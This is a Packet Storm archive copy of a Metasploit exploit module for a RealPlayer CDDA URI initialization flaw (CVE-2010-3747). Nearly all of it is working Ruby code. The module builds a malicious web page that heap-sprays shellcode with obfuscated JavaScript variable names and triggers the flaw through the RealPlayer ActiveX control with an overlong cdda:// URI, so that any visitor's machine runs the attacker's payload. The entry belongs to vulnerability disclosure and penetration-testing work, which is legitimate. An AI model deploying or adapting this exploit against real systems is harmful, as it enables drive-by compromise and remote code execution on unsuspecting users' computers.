RealNetworks RealPlayer CDDA URI Initialization Vulnerability

2011-03-18T00:00:00
ID PACKETSTORM:99443
Type packetstorm
Reporter bannedit
Modified 2011-03-18T00:00:00

Description

                                        
                                            `##  
# $Id: realplayer_cdda_uri.rb 12009 2011-03-17 15:42:28Z bannedit $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'RealNetworks RealPlayer CDDA URI Initialization Vulnerability',  
'Description' => %q{  
This module exploits a initialization flaw within RealPlayer 11/11.1 and   
RealPlayer SP 1.0 - 1.1.4. An abnormally long CDDA URI causes an object   
initialization failure. However, this failure is improperly handled and   
uninitialized memory executed.  
},  
'License' => MSF_LICENSE,  
'Author' =>   
[  
'bannedit',  
'sinn3r'  
],  
'Version' => '$Revision: 12009 $',  
'References' =>  
[  
[ 'CVE', '2010-3747' ],  
[ 'OSVDB', '68673'],  
[ 'BID', '44144' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-210/'],  
[ 'URL', 'http://service.real.com/realplayer/security/10152010_player/en/']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'RealPlayer SP 1.0 - 1.1.4 Universal', { 'Ret' => 0x21212121 } ],  
[ 'RealPlayer 11.0 - 11.1 Universal', { 'Ret' => 0x21212121 } ],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Nov 15 2010',  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
mytarget = target  
  
# the ret slide gets executed via call [esi+45b]  
retslide = [mytarget.ret].pack('V') * 750  
cdda_uri = "cdda://" + retslide  
  
# Encode the shellcode  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
nops = make_nops(8)  
nop_sled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch))  
  
# Randomize Javascript variables  
var_blocks = rand_text_alpha(rand(6)+3)  
var_shellcode = rand_text_alpha(rand(6)+3)  
var_index = rand_text_alpha(rand(6)+3)  
var_nopsled = rand_text_alpha(rand(6)+3)  
spray_func = rand_text_alpha(rand(6)+3)  
obj_id = rand_text_alpha(rand(6)+3)  
html = <<-EOS  
<html>  
<head>  
<script>  
function #{spray_func}() {  
#{var_blocks} = new Array();  
var #{var_shellcode} = unescape("#{shellcode}");  
var #{var_nopsled} = unescape("#{nop_sled}");  
do { #{var_nopsled} += #{var_nopsled} } while (#{var_nopsled}.length < 8200);  
for (#{var_index}=0; #{var_index} < 19000; #{var_index}++)  
#{var_blocks}[#{var_index}] = #{var_nopsled} + #{var_shellcode};  
}  
#{spray_func}();  
</script>  
</head>  
<object id=#{obj_id} classid='clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA' width=0 height=0>  
<param name="CONTROLS" value="ControlPanel">  
<param name="src" value="#{cdda_uri}">  
</object>  
<script language="VBScript">  
#{obj_id}.DoPlay  
</script>  
</html>  
EOS  
print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}")  
send_response(cli, html, { 'Content-Type' => 'text/html' })  
end  
end`